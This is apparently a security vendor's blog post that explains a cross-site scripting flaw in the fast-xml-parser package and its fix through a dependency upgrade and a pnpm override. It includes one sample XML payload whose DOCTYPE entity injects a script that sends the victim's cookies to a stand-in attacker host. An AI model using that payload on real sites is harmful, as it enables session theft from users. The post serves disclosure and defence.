Back to Blog
critical SEVERITY8 min read

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser versions prior to 4.5.4 and 5.3.5, caused by improper handling of DOCTYPE entity declarations during XML parsing. The fix upgrades the dependency and applies a pnpm override to ensure no transitive dependency can pull in the vulnerable version. This vulnerability was detected by Trivy in the project's `pnpm-lock.yaml` and patched via an automated pull request.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-25896 is a critical Cross-Site Scripting (XSS) vulnerability (CWE-79) in the `fast-xml-parser` npm package, affecting versions below 4.5.4 and 5.3.5. The flaw stems from improper handling of DOCTYPE entity declarations, which allows maliciously crafted XML input to inject executable scripts into downstream output. The fix involves upgrading `fast-xml-parser` to 4.5.4 (or 5.3.5) and adding a `pnpm.overrides` entry in `package.json` to force all transitive dependencies to use the patched version, preventing the vulnerable code from being resolved anywhere in the dependency tree.

Vulnerability at a Glance

cweCWE-79
fixUpgrade fast-xml-parser to 4.5.4 / 5.3.5 and pin the version with a pnpm override to prevent vulnerable transitive resolutions
riskAttackers can inject and execute arbitrary scripts in users' browsers by supplying crafted XML with malicious DOCTYPE entities
languageJavaScript / TypeScript (Node.js)
root causefast-xml-parser 4.5.3 fails to sanitize or reject dangerous entity expansions declared in DOCTYPE blocks before passing parsed content downstream
vulnerabilityCross-Site Scripting (XSS) via DOCTYPE entity handling

How Cross-Site Scripting Happens in fast-xml-parser and How to Fix It


Vulnerability at a Glance

Field Detail
CVE CVE-2026-25896
Severity Critical
Package fast-xml-parser < 4.5.4 / < 5.3.5
CWE CWE-79: Cross-Site Scripting
Detected in pnpm-lock.yaml
Fixed by Upgrade + pnpm override

Introduction

The pnpm-lock.yaml file in this project recorded a resolved version of fast-xml-parser@4.5.3 — a transitive dependency pulled in by another package in the tree. That single locked version contained a critical flaw: when the parser encountered a DOCTYPE block with custom entity declarations in untrusted XML input, it failed to neutralize those entities before producing output. The result is a Cross-Site Scripting (XSS) vulnerability that could allow an attacker to inject executable JavaScript into any surface that renders or forwards the parsed content.

The vulnerability was assigned CVE-2026-25896 and rated Critical. Trivy's scanner flagged the package hash recorded in the lock file:

# Vulnerable — pnpm-lock.yaml (before fix)
fast-xml-parser@4.5.3:
  resolution: {integrity: sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==}
  hasBin: true

That integrity hash uniquely identifies the vulnerable build. Once it appears in a lock file, every developer and CI runner that installs dependencies will receive the vulnerable code.


The Vulnerability Explained

DOCTYPE Entities and Why They Are Dangerous

XML's DOCTYPE declaration allows a document to define its own internal entities — shorthand substitutions that the parser expands before handing the document tree to the application. A well-known class of attacks, XML Entity Expansion (related to XXE), abuses this feature. CVE-2026-25896 is a variant in which fast-xml-parser 4.5.3 does not properly sanitize entity values declared in a DOCTYPE before those values flow into the parsed output.

Consider a crafted XML payload like this:

<!DOCTYPE foo [
  <!ENTITY xss "<script>document.location='https://attacker.example/steal?c='+document.cookie</script>">
]>
<root>&xss;</root>

When fast-xml-parser 4.5.3 processes this document, the entity &xss; is expanded and the raw <script> string survives into the parsed value of <root>. If the application then:

  • Renders that value in a web page without additional escaping, or
  • Forwards the parsed string to another system that trusts it

…the attacker's script executes in a victim's browser.

Why Transitive Dependencies Are the Hidden Risk

The vulnerable version was not a direct dependency of this project. It was pulled in transitively — specifically through the webdav package (visible in the lock file snapshot), which declared fast-xml-parser: 4.5.3 as one of its own dependencies:

# pnpm-lock.yaml snapshot (before fix)
snapshots:
  ...
  webdav@...:
    dependencies:
      ...
      fast-xml-parser: 4.5.3   # ← transitive vulnerable version

This is a common blind spot. Teams audit their direct dependencies carefully but may not realize a third-party package deep in the tree is quietly introducing a critical vulnerability.

Real-World Attack Scenario

Imagine this application parses XML documents fetched from external sources or submitted by users — a calendar feed, a configuration file upload, or a WebDAV resource. An attacker who controls that XML source crafts a payload with a malicious DOCTYPE entity. The server parses it with fast-xml-parser, the expanded entity value containing <script>...</script> is stored or returned in an API response, and a front-end component renders it unsanitized. The attacker now has arbitrary JavaScript execution in the victim's browser session — enabling session hijacking, credential theft, or malicious redirects.


The Fix

The fix involved two coordinated changes: upgrading the resolved package version and locking the entire dependency tree against the old version using a pnpm override.

1. Pinning the Version with a pnpm Override (package.json)

Simply updating a transitive dependency is not enough on its own — pnpm might still resolve the old version for some packages unless explicitly instructed otherwise. The fix adds a pnpm.overrides block to package.json:

// package.json — AFTER fix
"pnpm": {
  "overrides": {
    "fast-xml-parser": "4.5.4"
  }
}

This directive tells pnpm: regardless of what any package in the dependency tree requests, always resolve fast-xml-parser to 4.5.4. It is the pnpm equivalent of npm's overrides or Yarn's resolutions field, and it is the only reliable way to force a patched version across the entire tree.

2. Updating the Lock File (pnpm-lock.yaml)

With the override in place, the lock file was regenerated. The integrity hash for fast-xml-parser changed from the vulnerable build to the patched one:

# pnpm-lock.yaml — BEFORE
fast-xml-parser@4.5.3:
  resolution: {integrity: sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==}
  hasBin: true
# pnpm-lock.yaml — AFTER
fast-xml-parser@4.5.4:
  resolution: {integrity: sha512-jE8ugADnYOBsu1uaoayVl1tVKAMNOXyjwvv2U6udEA2ORBhDooJDWoGxTkhd4Qn4yh59JVVt/pKXtjPwx9OguQ==}
  hasBin: true

The override entry is also recorded at the top of the lock file to make the constraint explicit and auditable:

# pnpm-lock.yaml — AFTER (top of file)
overrides:
  fast-xml-parser: 4.5.4

Every snapshot that previously referenced fast-xml-parser: 4.5.3 — including the webdav package snapshot — now points to 4.5.4:

# Before
webdav@...:
  dependencies:
    fast-xml-parser: 4.5.3

# After
webdav@...:
  dependencies:
    fast-xml-parser: 4.5.4

Why Both Changes Were Necessary

Change Why it matters
pnpm.overrides in package.json Instructs the package manager to resolve the patched version for all dependents, present and future
Updated pnpm-lock.yaml Records the new integrity hash so CI and all developers get the exact patched bytes, not just the version number

Without the override, a future pnpm install or a new transitive dependency could silently re-introduce 4.5.3. Without the lock file update, the old hash would still be installed despite the override.


Prevention & Best Practices

1. Audit Transitive Dependencies Regularly

Your direct dependencies are only the first layer. Tools like Trivy, Snyk, Socket.dev, and npm audit scan the full dependency tree — including transitive packages — against known CVE databases. Run these in CI on every pull request.

# Example: run Trivy against your lock file in CI
trivy fs --scanners vuln pnpm-lock.yaml

2. Use Package Manager Override Mechanisms

All major JavaScript package managers support forcing a specific version of a transitive dependency:

Package manager Mechanism
pnpm pnpm.overrides in package.json
npm overrides in package.json
Yarn resolutions in package.json

Use these when a patched version of a transitive dependency is available but the parent package hasn't yet updated its own dependency range.

3. Validate and Sanitize XML Input at the Application Level

Even with a patched parser, defense-in-depth recommends:

  • Disable DOCTYPE processing if your application doesn't need it. Many parsers expose a flag for this (e.g., fast-xml-parser's allowBooleanAttributes, entity handling options).
  • Encode output before inserting parsed XML values into HTML. Never trust that a parser's output is safe for direct DOM insertion.
  • Reject unexpected XML structures at an input validation layer before they reach the parser.

4. Pin Integrity Hashes in Lock Files

Always commit your lock file (pnpm-lock.yaml, package-lock.json, yarn.lock) to version control. The integrity hash in the lock file means that even if a package registry is compromised, your build will fail rather than silently install tampered code.

5. Relevant Standards

  • OWASP Top 10 A03:2021 — Injection (includes XSS)
  • OWASP XSS Prevention Cheat Sheet — encoding and sanitization strategies
  • CWE-79 — Improper Neutralization of Input During Web Page Generation
  • CWE-611 — Improper Restriction of XML External Entity Reference (related DOCTYPE risk)

Key Takeaways

  • fast-xml-parser@4.5.3 is vulnerable to XSS via DOCTYPE entity expansion — any application that parses untrusted XML with this version is at risk, regardless of whether it is a direct or transitive dependency.
  • A pnpm override in package.json is required to force the patched version across all transitive dependents — upgrading only the lock file entry is insufficient.
  • The webdav package's snapshot in pnpm-lock.yaml was the specific transitive path that introduced the vulnerable version, illustrating that third-party packages can silently carry critical vulnerabilities.
  • Lock file integrity hashes are your ground truth — Trivy flagged this vulnerability by matching the sha512 hash of fast-xml-parser@4.5.3 in pnpm-lock.yaml, not just the version string.
  • DOCTYPE entity handling is a persistent XML attack surface — even modern, widely-used parsers can have gaps; always pair library upgrades with application-level output encoding.

How Orbis AppSec Detected This

  • Source: Untrusted XML content containing DOCTYPE entity declarations, processed by fast-xml-parser as a transitive dependency resolved via pnpm-lock.yaml.
  • Sink: The entity expansion logic within fast-xml-parser@4.5.3, which allows raw <script> content from DOCTYPE-defined entities to survive into parsed output without neutralization.
  • Missing control: No sanitization or rejection of DOCTYPE entity values before they were included in the parser's output; no pnpm override preventing the vulnerable version from being resolved transitively.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: fast-xml-parser was upgraded to 4.5.4 and a pnpm.overrides entry was added to package.json to force the patched version across the entire dependency tree.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-25896 is a reminder that critical vulnerabilities don't always arrive through code you write — they can hide several layers deep in your dependency tree, locked in place by a hash in a file most developers never open. In this case, fast-xml-parser@4.5.3's failure to sanitize DOCTYPE entity values created a direct path to XSS for any application parsing untrusted XML.

The fix is precise and minimal: upgrade to 4.5.4, add a pnpm override to prevent the vulnerable version from re-entering the tree through any transitive path, and commit the updated lock file so every environment gets the patched bytes. Pair that with regular transitive dependency audits in CI and application-level output encoding, and this class of vulnerability becomes much harder to exploit.

Security is a layered discipline — patched dependencies, encoded output, and automated scanning working together are what keep users safe.


References

Frequently Asked Questions

What is CVE-2026-25896?

CVE-2026-25896 is a critical XSS vulnerability in the fast-xml-parser npm package (before 4.5.4/5.3.5) where improper DOCTYPE entity handling lets attackers inject malicious scripts into parsed XML output.

How do you prevent XSS from XML parsing in JavaScript?

Always use a patched XML parser, sanitize or reject DOCTYPE declarations in untrusted input, and encode parser output before inserting it into the DOM or HTTP responses.

What CWE is this XSS vulnerability?

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is upgrading the direct dependency enough to prevent this vulnerability?

Not always. Transitive dependencies can still resolve the old version. Adding a pnpm override (or npm/yarn resolutions) forces every package in the tree to use the patched version.

Can static analysis detect this type of vulnerability?

Yes. Tools like Trivy, Snyk, and Dependabot scan lock files for known-vulnerable package versions and can flag CVE-2026-25896 in pnpm-lock.yaml automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #964

Related Articles

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

critical

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

critical

How Unsanitized IPC Data Injection happens in Electron/HTML and how to fix it

A content injection vulnerability in `src/NankaiTrough.html` allowed attacker-controlled IPC message data to flow directly into DOM properties without type coercion or validation. The fix explicitly converts all `request.data` fields to strings using `String()` with fallback defaults before assigning them to `document.title` and `innerText` properties, eliminating the risk of prototype pollution and unexpected object-to-string coercion attacks.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `hasheous/wwwroot/pages/dataobjectdetail.js` allowed attackers with Moderator or Admin privileges to inject malicious HTML into DataObject attribute fields, executing arbitrary JavaScript in every visitor's browser. The fix replaces unsafe `innerHTML` assignments with `textContent` for plain text and a sanitized markdown renderer for AI-generated descriptions, eliminating the injection vector entirely.

high

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It

A high-severity stored Cross-Site Scripting (XSS) vulnerability was discovered in `custom_components/hacs_vision/frontend/panel.js`, where the backend fetched GitHub's pre-rendered README HTML and the frontend injected it directly into the DOM without sanitization. An attacker who controls a GitHub repository could embed malicious JavaScript in their README that executes automatically when any HACS Vision user views that repository's details, potentially exfiltrating credentials or hijacking the